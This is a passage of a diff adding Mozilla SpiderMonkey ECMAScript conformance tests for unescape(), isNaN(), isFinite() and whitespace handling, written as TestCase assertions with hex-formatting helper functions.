+new TestCase( SECTION, "unescape( Number.POSITIVE_INFINITY )", "Infinity", unescape( Number.POSITIVE_INFINITY ) );
+new TestCase( SECTION, "unescape( Number.NEGATIVE_INFINITY )", "-Infinity", unescape( Number.NEGATIVE_INFINITY ) );
+
+var ASCII_TEST_STRING = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789@*_+-./";
+
+new TestCase( SECTION, "unescape( " +ASCII_TEST_STRING+" )", ASCII_TEST_STRING, unescape( ASCII_TEST_STRING ) );
+
+// escaped chars with ascii values less than 256
+
+for ( var CHARCODE = 0; CHARCODE < 256; CHARCODE++ ) {
+ new TestCase( SECTION,
+ "unescape( %"+ ToHexString(CHARCODE)+" )",
+ String.fromCharCode(CHARCODE),
+ unescape( "%" + ToHexString(CHARCODE) ) );
+}
+
+// unicode chars represented by two hex digits
+for ( var CHARCODE = 0; CHARCODE < 256; CHARCODE++ ) {
+ new TestCase( SECTION,
+ "unescape( %u"+ ToHexString(CHARCODE)+" )",
+ "%u"+ToHexString(CHARCODE),
+ unescape( "%u" + ToHexString(CHARCODE) ) );
+}
+/*
+ for ( var CHARCODE = 0; CHARCODE < 256; CHARCODE++ ) {
+ new TestCase( SECTION,
+ "unescape( %u"+ ToUnicodeString(CHARCODE)+" )",
+ String.fromCharCode(CHARCODE),
+ unescape( "%u" + ToUnicodeString(CHARCODE) ) );
+ }
+ for ( var CHARCODE = 256; CHARCODE < 65536; CHARCODE+= 333 ) {
+ new TestCase( SECTION,
+ "unescape( %u"+ ToUnicodeString(CHARCODE)+" )",
+ String.fromCharCode(CHARCODE),
+ unescape( "%u" + ToUnicodeString(CHARCODE) ) );
+ }
+*/
+
+test();
+
+function ToUnicodeString( n ) {
+ var string = ToHexString(n);
+
+ for ( var PAD = (4 - string.length ); PAD > 0; PAD-- ) {
+ string = "0" + string;
+ }
+
+ return string;
+}
+function ToHexString( n ) {
+ var hex = new Array();
+
+ for ( var mag = 1; Math.pow(16,mag) <= n ; mag++ ) {
+ ;
+ }
+
+ for ( index = 0, mag -= 1; mag > 0; index++, mag-- ) {
+ hex[index] = Math.floor( n / Math.pow(16,mag) );
+ n -= Math.pow(16,mag) * Math.floor( n/Math.pow(16,mag) );
+ }
+
+ hex[hex.length] = n % 16;
+
+ var string ="";
+
+ for ( var index = 0 ; index < hex.length ; index++ ) {
+ switch ( hex[index] ) {
+ case 10:
+ string += "A";
+ break;
+ case 11:
+ string += "B";
+ break;
+ case 12:
+ string += "C";
+ break;
+ case 13:
+ string += "D";
+ break;
+ case 14:
+ string += "E";
+ break;
+ case 15:
+ string += "F";
+ break;
+ default:
+ string += hex[index];
+ }
+ }
+
+ if ( string.length == 1 ) {
+ string = "0" + string;
+ }
+ return string;
+}
diff --git a/js/src/tests/ecma/GlobalObject/15.1.2.5-2.js b/js/src/tests/ecma/GlobalObject/15.1.2.5-2.js
new file mode 100644
index 000000000..5aa2a36a3
--- /dev/null
+++ b/js/src/tests/ecma/GlobalObject/15.1.2.5-2.js
@@ -0,0 +1,149 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.1.2.5-2.js
+ ECMA Section: 15.1.2.5 Function properties of the global object
+ unescape( string )
+ Description:
+
+ This tests the cases where there are fewer than 4 characters following "%u",
+ or fewer than 2 characters following "%" or "%u".
+
+ The unescape function computes a new version of a string value in which
+ each escape sequences of the sort that might be introduced by the escape
+ function is replaced with the character that it represents.
+
+ When the unescape function is called with one argument string, the
+ following steps are taken:
+
+ 1. Call ToString(string).
+ 2. Compute the number of characters in Result(1).
+ 3. Let R be the empty string.
+ 4. Let k be 0.
+ 5. If k equals Result(2), return R.
+ 6. Let c be the character at position k within Result(1).
+ 7. If c is not %, go to step 18.
+ 8. If k is greater than Result(2)-6, go to step 14.
+ 9. If the character at position k+1 within result(1) is not u, go to step
+ 14.
+ 10. If the four characters at positions k+2, k+3, k+4, and k+5 within
+ Result(1) are not all hexadecimal digits, go to step 14.
+ 11. Let c be the character whose Unicode encoding is the integer represented
+ by the four hexadecimal digits at positions k+2, k+3, k+4, and k+5
+ within Result(1).
+ 12. Increase k by 5.
+ 13. Go to step 18.
+ 14. If k is greater than Result(2)-3, go to step 18.
+ 15. If the two characters at positions k+1 and k+2 within Result(1) are not
+ both hexadecimal digits, go to step 18.
+ 16. Let c be the character whose Unicode encoding is the integer represented
+ by two zeroes plus the two hexadecimal digits at positions k+1 and k+2
+ within Result(1).
+ 17. Increase k by 2.
+ 18. Let R be a new string value computed by concatenating the previous value
+ of R and c.
+ 19. Increase k by 1.
+ 20. Go to step 5.
+ Author: christine@netscape.com
+ Date: 28 october 1997
+*/
+
+var SECTION = "15.1.2.5-2";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "unescape(string)";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+// since there is only one character following "%", no conversion should occur.
+
+for ( var CHARCODE = 0; CHARCODE < 256; CHARCODE += 16 ) {
+ new TestCase( SECTION,
+ "unescape( %"+ (ToHexString(CHARCODE)).substring(0,1) +" )",
+ "%"+(ToHexString(CHARCODE)).substring(0,1),
+ unescape( "%" + (ToHexString(CHARCODE)).substring(0,1) ) );
+}
+
+// since there is only one character following "%u", no conversion should occur.
+
+for ( var CHARCODE = 0; CHARCODE < 256; CHARCODE +=16 ) {
+ new TestCase( SECTION,
+ "unescape( %u"+ (ToHexString(CHARCODE)).substring(0,1) +" )",
+ "%u"+(ToHexString(CHARCODE)).substring(0,1),
+ unescape( "%u" + (ToHexString(CHARCODE)).substring(0,1) ) );
+}
+
+
+// three char unicode string. no conversion should occur
+
+for ( var CHARCODE = 1024; CHARCODE < 65536; CHARCODE+= 1234 ) {
+ new TestCase
+ ( SECTION,
+ "unescape( %u"+ (ToUnicodeString(CHARCODE)).substring(0,3)+ " )",
+
+ "%u"+(ToUnicodeString(CHARCODE)).substring(0,3),
+ unescape( "%u"+(ToUnicodeString(CHARCODE)).substring(0,3) )
+ );
+}
+
+test();
+
+function ToUnicodeString( n ) {
+ var string = ToHexString(n);
+
+ for ( var PAD = (4 - string.length ); PAD > 0; PAD-- ) {
+ string = "0" + string;
+ }
+
+ return string;
+}
+function ToHexString( n ) {
+ var hex = new Array();
+
+ for ( var mag = 1; Math.pow(16,mag) <= n ; mag++ ) {
+ ;
+ }
+
+ for ( index = 0, mag -= 1; mag > 0; index++, mag-- ) {
+ hex[index] = Math.floor( n / Math.pow(16,mag) );
+ n -= Math.pow(16,mag) * Math.floor( n/Math.pow(16,mag) );
+ }
+
+ hex[hex.length] = n % 16;
+
+ var string ="";
+
+ for ( var index = 0 ; index < hex.length ; index++ ) {
+ switch ( hex[index] ) {
+ case 10:
+ string += "A";
+ break;
+ case 11:
+ string += "B";
+ break;
+ case 12:
+ string += "C";
+ break;
+ case 13:
+ string += "D";
+ break;
+ case 14:
+ string += "E";
+ break;
+ case 15:
+ string += "F";
+ break;
+ default:
+ string += hex[index];
+ }
+ }
+
+ if ( string.length == 1 ) {
+ string = "0" + string;
+ }
+ return string;
+}
diff --git a/js/src/tests/ecma/GlobalObject/15.1.2.5-3.js b/js/src/tests/ecma/GlobalObject/15.1.2.5-3.js
new file mode 100644
index 000000000..e7e5008e3
--- /dev/null
+++ b/js/src/tests/ecma/GlobalObject/15.1.2.5-3.js
@@ -0,0 +1,173 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.1.2.5-3.js
+ ECMA Section: 15.1.2.5 Function properties of the global object
+ unescape( string )
+
+ Description:
+ This tests the cases where one of the four characters following "%u" is
+ not a hexidecimal character, or one of the two characters following "%"
+ or "%u" is not a hexidecimal character.
+
+ The unescape function computes a new version of a string value in which
+ each escape sequences of the sort that might be introduced by the escape
+ function is replaced with the character that it represents.
+
+ When the unescape function is called with one argument string, the
+ following steps are taken:
+
+ 1. Call ToString(string).
+ 2. Compute the number of characters in Result(1).
+ 3. Let R be the empty string.
+ 4. Let k be 0.
+ 5. If k equals Result(2), return R.
+ 6. Let c be the character at position k within Result(1).
+ 7. If c is not %, go to step 18.
+ 8. If k is greater than Result(2)-6, go to step 14.
+ 9. If the character at position k+1 within result(1) is not u, go to step
+ 14.
+ 10. If the four characters at positions k+2, k+3, k+4, and k+5 within
+ Result(1) are not all hexadecimal digits, go to step 14.
+ 11. Let c be the character whose Unicode encoding is the integer represented
+ by the four hexadecimal digits at positions k+2, k+3, k+4, and k+5
+ within Result(1).
+ 12. Increase k by 5.
+ 13. Go to step 18.
+ 14. If k is greater than Result(2)-3, go to step 18.
+ 15. If the two characters at positions k+1 and k+2 within Result(1) are not
+ both hexadecimal digits, go to step 18.
+ 16. Let c be the character whose Unicode encoding is the integer represented
+ by two zeroes plus the two hexadecimal digits at positions k+1 and k+2
+ within Result(1).
+ 17. Increase k by 2.
+ 18. Let R be a new string value computed by concatenating the previous value
+ of R and c.
+ 19. Increase k by 1.
+ 20. Go to step 5.
+ Author: christine@netscape.com
+ Date: 28 october 1997
+*/
+
+
+var SECTION = "15.1.2.5-3";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "unescape(string)";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+for ( var CHARCODE = 0, NONHEXCHARCODE = 0; CHARCODE < 256; CHARCODE++, NONHEXCHARCODE++ ) {
+ NONHEXCHARCODE = getNextNonHexCharCode( NONHEXCHARCODE );
+
+ new TestCase( SECTION,
+ "unescape( %"+ (ToHexString(CHARCODE)).substring(0,1) +
+ String.fromCharCode( NONHEXCHARCODE ) +" )" +
+ "[where last character is String.fromCharCode("+NONHEXCHARCODE+")]",
+ "%"+(ToHexString(CHARCODE)).substring(0,1)+
+ String.fromCharCode( NONHEXCHARCODE ),
+ unescape( "%" + (ToHexString(CHARCODE)).substring(0,1)+
+ String.fromCharCode( NONHEXCHARCODE ) ) );
+}
+for ( var CHARCODE = 0, NONHEXCHARCODE = 0; CHARCODE < 256; CHARCODE++, NONHEXCHARCODE++ ) {
+ NONHEXCHARCODE = getNextNonHexCharCode( NONHEXCHARCODE );
+
+ new TestCase( SECTION,
+ "unescape( %u"+ (ToHexString(CHARCODE)).substring(0,1) +
+ String.fromCharCode( NONHEXCHARCODE ) +" )" +
+ "[where last character is String.fromCharCode("+NONHEXCHARCODE+")]",
+ "%u"+(ToHexString(CHARCODE)).substring(0,1)+
+ String.fromCharCode( NONHEXCHARCODE ),
+ unescape( "%u" + (ToHexString(CHARCODE)).substring(0,1)+
+ String.fromCharCode( NONHEXCHARCODE ) ) );
+}
+
+for ( var CHARCODE = 0, NONHEXCHARCODE = 0 ; CHARCODE < 65536; CHARCODE+= 54321, NONHEXCHARCODE++ ) {
+ NONHEXCHARCODE = getNextNonHexCharCode( NONHEXCHARCODE );
+
+ new TestCase( SECTION,
+ "unescape( %u"+ (ToUnicodeString(CHARCODE)).substring(0,3) +
+ String.fromCharCode( NONHEXCHARCODE ) +" )" +
+ "[where last character is String.fromCharCode("+NONHEXCHARCODE+")]",
+
+ String.fromCharCode(eval("0x"+ (ToUnicodeString(CHARCODE)).substring(0,2))) +
+ (ToUnicodeString(CHARCODE)).substring(2,3) +
+ String.fromCharCode( NONHEXCHARCODE ),
+
+ unescape( "%" + (ToUnicodeString(CHARCODE)).substring(0,3)+
+ String.fromCharCode( NONHEXCHARCODE ) ) );
+}
+
+test();
+
+function getNextNonHexCharCode( n ) {
+ for ( ; n < Math.pow(2,16); n++ ) {
+ if ( ( n == 43 || n == 45 || n == 46 || n == 47 ||
+ (n >= 71 && n <= 90) || (n >= 103 && n <= 122) ||
+ n == 64 || n == 95 ) ) {
+ break;
+ } else {
+ n = ( n > 122 ) ? 0 : n;
+ }
+ }
+ return n;
+}
+function ToUnicodeString( n ) {
+ var string = ToHexString(n);
+
+ for ( var PAD = (4 - string.length ); PAD > 0; PAD-- ) {
+ string = "0" + string;
+ }
+
+ return string;
+}
+function ToHexString( n ) {
+ var hex = new Array();
+
+ for ( var mag = 1; Math.pow(16,mag) <= n ; mag++ ) {
+ ;
+ }
+
+ for ( index = 0, mag -= 1; mag > 0; index++, mag-- ) {
+ hex[index] = Math.floor( n / Math.pow(16,mag) );
+ n -= Math.pow(16,mag) * Math.floor( n/Math.pow(16,mag) );
+ }
+
+ hex[hex.length] = n % 16;
+
+ var string ="";
+
+ for ( var index = 0 ; index < hex.length ; index++ ) {
+ switch ( hex[index] ) {
+ case 10:
+ string += "A";
+ break;
+ case 11:
+ string += "B";
+ break;
+ case 12:
+ string += "C";
+ break;
+ case 13:
+ string += "D";
+ break;
+ case 14:
+ string += "E";
+ break;
+ case 15:
+ string += "F";
+ break;
+ default:
+ string += hex[index];
+ }
+ }
+
+ if ( string.length == 1 ) {
+ string = "0" + string;
+ }
+ return string;
+}
diff --git a/js/src/tests/ecma/GlobalObject/15.1.2.6.js b/js/src/tests/ecma/GlobalObject/15.1.2.6.js
new file mode 100644
index 000000000..d54358a6d
--- /dev/null
+++ b/js/src/tests/ecma/GlobalObject/15.1.2.6.js
@@ -0,0 +1,89 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.1.2.6.js
+ ECMA Section: 15.1.2.6 isNaN( x )
+
+ Description: Applies ToNumber to its argument, then returns true if
+ the result isNaN and otherwise returns false.
+
+ Author: christine@netscape.com
+ Date: 28 october 1997
+
+*/
+var SECTION = "15.1.2.6";
+var VERSION = "ECMA_1";
+var TITLE = "isNaN( x )";
+var BUGNUMBER = "none";
+
+startTest();
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase( SECTION, "isNaN.length", 1, isNaN.length );
+new TestCase( SECTION, "var MYPROPS=''; for ( var p in isNaN ) { MYPROPS+= p }; MYPROPS", "", eval("var MYPROPS=''; for ( var p in isNaN ) { MYPROPS+= p }; MYPROPS") );
+new TestCase( SECTION, "isNaN.length = null; isNaN.length", 1, eval("isNaN.length=null; isNaN.length") );
+
+// new TestCase( SECTION, "isNaN.__proto__", Function.prototype, isNaN.__proto__ );
+
+new TestCase( SECTION, "isNaN()", true, isNaN() );
+new TestCase( SECTION, "isNaN( null )", false, isNaN(null) );
+new TestCase( SECTION, "isNaN( void 0 )", true, isNaN(void 0) );
+new TestCase( SECTION, "isNaN( true )", false, isNaN(true) );
+new TestCase( SECTION, "isNaN( false)", false, isNaN(false) );
+new TestCase( SECTION, "isNaN( ' ' )", false, isNaN( " " ) );
+
+new TestCase( SECTION, "isNaN( 0 )", false, isNaN(0) );
+new TestCase( SECTION, "isNaN( 1 )", false, isNaN(1) );
+new TestCase( SECTION, "isNaN( 2 )", false, isNaN(2) );
+new TestCase( SECTION, "isNaN( 3 )", false, isNaN(3) );
+new TestCase( SECTION, "isNaN( 4 )", false, isNaN(4) );
+new TestCase( SECTION, "isNaN( 5 )", false, isNaN(5) );
+new TestCase( SECTION, "isNaN( 6 )", false, isNaN(6) );
+new TestCase( SECTION, "isNaN( 7 )", false, isNaN(7) );
+new TestCase( SECTION, "isNaN( 8 )", false, isNaN(8) );
+new TestCase( SECTION, "isNaN( 9 )", false, isNaN(9) );
+
+new TestCase( SECTION, "isNaN( '0' )", false, isNaN('0') );
+new TestCase( SECTION, "isNaN( '1' )", false, isNaN('1') );
+new TestCase( SECTION, "isNaN( '2' )", false, isNaN('2') );
+new TestCase( SECTION, "isNaN( '3' )", false, isNaN('3') );
+new TestCase( SECTION, "isNaN( '4' )", false, isNaN('4') );
+new TestCase( SECTION, "isNaN( '5' )", false, isNaN('5') );
+new TestCase( SECTION, "isNaN( '6' )", false, isNaN('6') );
+new TestCase( SECTION, "isNaN( '7' )", false, isNaN('7') );
+new TestCase( SECTION, "isNaN( '8' )", false, isNaN('8') );
+new TestCase( SECTION, "isNaN( '9' )", false, isNaN('9') );
+
+
+new TestCase( SECTION, "isNaN( 0x0a )", false, isNaN( 0x0a ) );
+new TestCase( SECTION, "isNaN( 0xaa )", false, isNaN( 0xaa ) );
+new TestCase( SECTION, "isNaN( 0x0A )", false, isNaN( 0x0A ) );
+new TestCase( SECTION, "isNaN( 0xAA )", false, isNaN( 0xAA ) );
+
+new TestCase( SECTION, "isNaN( '0x0a' )", false, isNaN( "0x0a" ) );
+new TestCase( SECTION, "isNaN( '0xaa' )", false, isNaN( "0xaa" ) );
+new TestCase( SECTION, "isNaN( '0x0A' )", false, isNaN( "0x0A" ) );
+new TestCase( SECTION, "isNaN( '0xAA' )", false, isNaN( "0xAA" ) );
+
+new TestCase( SECTION, "isNaN( 077 )", false, isNaN( 077 ) );
+new TestCase( SECTION, "isNaN( '077' )", false, isNaN( "077" ) );
+
+
+new TestCase( SECTION, "isNaN( Number.NaN )", true, isNaN(Number.NaN) );
+new TestCase( SECTION, "isNaN( Number.POSITIVE_INFINITY )", false, isNaN(Number.POSITIVE_INFINITY) );
+new TestCase( SECTION, "isNaN( Number.NEGATIVE_INFINITY )", false, isNaN(Number.NEGATIVE_INFINITY) );
+new TestCase( SECTION, "isNaN( Number.MAX_VALUE )", false, isNaN(Number.MAX_VALUE) );
+new TestCase( SECTION, "isNaN( Number.MIN_VALUE )", false, isNaN(Number.MIN_VALUE) );
+
+new TestCase( SECTION, "isNaN( NaN )", true, isNaN(NaN) );
+new TestCase( SECTION, "isNaN( Infinity )", false, isNaN(Infinity) );
+
+new TestCase( SECTION, "isNaN( 'Infinity' )", false, isNaN("Infinity") );
+new TestCase( SECTION, "isNaN( '-Infinity' )", false, isNaN("-Infinity") );
+
+test();
diff --git a/js/src/tests/ecma/GlobalObject/15.1.2.7.js b/js/src/tests/ecma/GlobalObject/15.1.2.7.js
new file mode 100644
index 000000000..49797749b
--- /dev/null
+++ b/js/src/tests/ecma/GlobalObject/15.1.2.7.js
@@ -0,0 +1,94 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.1.2.7.js
+ ECMA Section: 15.1.2.7 isFinite(number)
+
+ Description: Applies ToNumber to its argument, then returns false if
+ the result is NaN, Infinity, or -Infinity, and otherwise
+ returns true.
+
+ Author: christine@netscape.com
+ Date: 28 october 1997
+
+*/
+var SECTION = "15.1.2.7";
+var VERSION = "ECMA_1";
+var TITLE = "isFinite( x )";
+var BUGNUMBER= "none";
+
+startTest();
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase( SECTION, "isFinite.length", 1, isFinite.length );
+new TestCase( SECTION, "isFinite.length = null; isFinite.length", 1, eval("isFinite.length=null; isFinite.length") );
+new TestCase( SECTION, "var MYPROPS=''; for ( p in isFinite ) { MYPROPS+= p }; MYPROPS", "", eval("var MYPROPS=''; for ( p in isFinite ) { MYPROPS += p }; MYPROPS") );
+
+new TestCase( SECTION, "isFinite()", false, isFinite() );
+new TestCase( SECTION, "isFinite( null )", true, isFinite(null) );
+new TestCase( SECTION, "isFinite( void 0 )", false, isFinite(void 0) );
+new TestCase( SECTION, "isFinite( false )", true, isFinite(false) );
+new TestCase( SECTION, "isFinite( true)", true, isFinite(true) );
+new TestCase( SECTION, "isFinite( ' ' )", true, isFinite( " " ) );
+
+new TestCase( SECTION, "isFinite( new Boolean(true) )", true, isFinite(new Boolean(true)) );
+new TestCase( SECTION, "isFinite( new Boolean(false) )", true, isFinite(new Boolean(false)) );
+
+new TestCase( SECTION, "isFinite( 0 )", true, isFinite(0) );
+new TestCase( SECTION, "isFinite( 1 )", true, isFinite(1) );
+new TestCase( SECTION, "isFinite( 2 )", true, isFinite(2) );
+new TestCase( SECTION, "isFinite( 3 )", true, isFinite(3) );
+new TestCase( SECTION, "isFinite( 4 )", true, isFinite(4) );
+new TestCase( SECTION, "isFinite( 5 )", true, isFinite(5) );
+new TestCase( SECTION, "isFinite( 6 )", true, isFinite(6) );
+new TestCase( SECTION, "isFinite( 7 )", true, isFinite(7) );
+new TestCase( SECTION, "isFinite( 8 )", true, isFinite(8) );
+new TestCase( SECTION, "isFinite( 9 )", true, isFinite(9) );
+
+new TestCase( SECTION, "isFinite( '0' )", true, isFinite('0') );
+new TestCase( SECTION, "isFinite( '1' )", true, isFinite('1') );
+new TestCase( SECTION, "isFinite( '2' )", true, isFinite('2') );
+new TestCase( SECTION, "isFinite( '3' )", true, isFinite('3') );
+new TestCase( SECTION, "isFinite( '4' )", true, isFinite('4') );
+new TestCase( SECTION, "isFinite( '5' )", true, isFinite('5') );
+new TestCase( SECTION, "isFinite( '6' )", true, isFinite('6') );
+new TestCase( SECTION, "isFinite( '7' )", true, isFinite('7') );
+new TestCase( SECTION, "isFinite( '8' )", true, isFinite('8') );
+new TestCase( SECTION, "isFinite( '9' )", true, isFinite('9') );
+
+new TestCase( SECTION, "isFinite( 0x0a )", true, isFinite( 0x0a ) );
+new TestCase( SECTION, "isFinite( 0xaa )", true, isFinite( 0xaa ) );
+new TestCase( SECTION, "isFinite( 0x0A )", true, isFinite( 0x0A ) );
+new TestCase( SECTION, "isFinite( 0xAA )", true, isFinite( 0xAA ) );
+
+new TestCase( SECTION, "isFinite( '0x0a' )", true, isFinite( "0x0a" ) );
+new TestCase( SECTION, "isFinite( '0xaa' )", true, isFinite( "0xaa" ) );
+new TestCase( SECTION, "isFinite( '0x0A' )", true, isFinite( "0x0A" ) );
+new TestCase( SECTION, "isFinite( '0xAA' )", true, isFinite( "0xAA" ) );
+
+new TestCase( SECTION, "isFinite( 077 )", true, isFinite( 077 ) );
+new TestCase( SECTION, "isFinite( '077' )", true, isFinite( "077" ) );
+
+new TestCase( SECTION, "isFinite( new String('Infinity') )", false, isFinite(new String("Infinity")) );
+new TestCase( SECTION, "isFinite( new String('-Infinity') )", false, isFinite(new String("-Infinity")) );
+
+new TestCase( SECTION, "isFinite( 'Infinity' )", false, isFinite("Infinity") );
+new TestCase( SECTION, "isFinite( '-Infinity' )", false, isFinite("-Infinity") );
+new TestCase( SECTION, "isFinite( Number.POSITIVE_INFINITY )", false, isFinite(Number.POSITIVE_INFINITY) );
+new TestCase( SECTION, "isFinite( Number.NEGATIVE_INFINITY )", false, isFinite(Number.NEGATIVE_INFINITY) );
+new TestCase( SECTION, "isFinite( Number.NaN )", false, isFinite(Number.NaN) );
+
+new TestCase( SECTION, "isFinite( Infinity )", false, isFinite(Infinity) );
+new TestCase( SECTION, "isFinite( -Infinity )", false, isFinite(-Infinity) );
+new TestCase( SECTION, "isFinite( NaN )", false, isFinite(NaN) );
+
+
+new TestCase( SECTION, "isFinite( Number.MAX_VALUE )", true, isFinite(Number.MAX_VALUE) );
+new TestCase( SECTION, "isFinite( Number.MIN_VALUE )", true, isFinite(Number.MIN_VALUE) );
+
+test();
diff --git a/js/src/tests/ecma/GlobalObject/browser.js b/js/src/tests/ecma/GlobalObject/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma/GlobalObject/browser.js
diff --git a/js/src/tests/ecma/GlobalObject/shell.js b/js/src/tests/ecma/GlobalObject/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma/GlobalObject/shell.js
diff --git a/js/src/tests/ecma/LexicalConventions/7.1-1.js b/js/src/tests/ecma/LexicalConventions/7.1-1.js
new file mode 100644
index 000000000..202ffec02
--- /dev/null
+++ b/js/src/tests/ecma/LexicalConventions/7.1-1.js
@@ -0,0 +1,48 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 7.1-1.js
+ ECMA Section: 7.1 White Space
+ Description: - readability
+ - separate tokens
+ - otherwise should be insignificant
+ - in strings, white space characters are significant
+ - cannot appear within any other kind of token
+
+ white space characters are:
+ unicode name formal name string representation
+ \u0009 tab <TAB> \t
+ \u000B veritical tab <VT> \v
+ \U000C form feed <FF> \f
+ \u0020 space <SP> " "
+
+ Author: christine@netscape.com
+ Date: 11 september 1997
+*/
+
+var SECTION = "7.1-1";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "White Space";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+// whitespace between var keyword and identifier
+
+new TestCase( SECTION, 'var'+'\t'+'MYVAR1=10;MYVAR1', 10, eval('var'+'\t'+'MYVAR1=10;MYVAR1') );
+new TestCase( SECTION, 'var'+'\f'+'MYVAR2=10;MYVAR2', 10, eval('var'+'\f'+'MYVAR2=10;MYVAR2') );
+new TestCase( SECTION, 'var'+'\v'+'MYVAR2=10;MYVAR2', 10, eval('var'+'\v'+'MYVAR2=10;MYVAR2') );
+new TestCase( SECTION, 'var'+'\ '+'MYVAR2=10;MYVAR2', 10, eval('var'+'\ '+'MYVAR2=10;MYVAR2') );
+
+// use whitespace between tokens object name, dot operator, and object property
+
+new TestCase( SECTION,
+ "var a = new Array(12345); a\t\v\f .\\u0009\\000B\\u000C\\u0020length",
+ 12345,
+ eval("var a = new Array(12345); a\t\v\f .\u0009\u0020\u000C\u000Blength") );
+
+test();
diff --git a/js/src/tests/ecma/LexicalConventions/7.1-2.js b/js/src/tests/ecma/LexicalConventions/7.1-2.js
new file mode 100644
index 000000000..2e22212fb
--- /dev/null
+++ b/js/src/tests/ecma/LexicalConventions/7.1-2.js
@@ -0,0 +1,39 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 7.1-2.js
+ ECMA Section: 7.1 White Space
+ Description: - readability
+ - separate tokens
+ - otherwise should be insignificant
+ - in strings, white space characters are significant
+ - cannot appear within any other kind of token
+
+ white space characters are:
+ unicode name formal name string representation
+ \u0009 tab <TAB> \t
+ \u000B veritical tab <VT> ??
+ \U000C form feed <FF> \f
+ \u0020 space <SP> " "
+
+ Author: christine@netscape.com
+ Date: 11 september 1997
+*/
+
+var SECTION = "7.1-2";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "White Space";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase( SECTION, "'var'+'\u000B'+'MYVAR1=10;MYVAR1'", 10, eval('var'+'\u000B'+'MYVAR1=10;MYVAR1') );
+new TestCase( SECTION, "'var'+'\u0009'+'MYVAR2=10;MYVAR2'", 10, eval('var'+'\u0009'+'MYVAR2=10;MYVAR2') );
+new TestCase( SECTION, "'var'+'\u000C'+'MYVAR3=10;MYVAR3'", 10, eval('var'+'\u000C'+'MYVAR3=10;MYVAR3') );
+new TestCase( SECTION, "'var'+'\u0020'+'MYVAR4=10;MYVAR4'", 10, eval('var'+'\u0020'+'MYVAR4=10;MYVAR4') );
+
+test();
diff --git a/js/src/tests/ecma/LexicalConventions/7.1-3.js b/js/src/tests/ecma/LexicalConventions/7.1-3.js
new file mode 100644
index 000000000..1f4d253ba
--- /dev/null
+++ b/js/src/tests/ecma/LexicalConventions/7.1-3.js
@@ -0,0 +1,55 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 7.1-3.js
+ ECMA Section: 7.1 White Space
+ Description: - readability
+ - separate tokens
+ - otherwise should be insignificant
+ - in strings, white space characters are significant
+ - cannot appear within any other kind of token
+
+ white space characters are:
+ unicode name formal name string representation
+ \u0009 tab <TAB> \t
+ \u000B veritical tab <VT> ??
+ \U000C form feed <FF> \f
+ \u0020 space <SP> " "
+
+ Author: christine@netscape.com
+ Date: 11 september 1997
+*/
+
+var SECTION = "7.1-3";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "White Space";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase( SECTION, "'var'+'\u000B'+'MYVAR1=10;MYVAR1'", 10, eval('var'+'\u000B'+'MYVAR1=10;MYVAR1') );
+new TestCase( SECTION, "'var'+'\u0009'+'MYVAR2=10;MYVAR2'", 10, eval('var'+'\u0009'+'MYVAR2=10;MYVAR2') );
+new TestCase( SECTION, "'var'+'\u000C'+'MYVAR3=10;MYVAR3'", 10, eval('var'+'\u000C'+'MYVAR3=10;MYVAR3') );
+new TestCase( SECTION, "'var'+'\u0020'+'MYVAR4=10;MYVAR4'", 10, eval('var'+'\u0020'+'MYVAR4=10;MYVAR4') );
+
+// +<white space>+ should be interpreted as the unary + operator twice, not as a post or prefix increment operator
+
+new TestCase( SECTION,
+ "var VAR = 12345; + + VAR",
+ 12345,
+ eval("var VAR = 12345; + + VAR") );
+
+new TestCase( SECTION,
+ "var VAR = 12345;VAR+ + VAR",
+ 24690,
+ eval("var VAR = 12345;VAR+ +VAR") );
+new TestCase( SECTION,
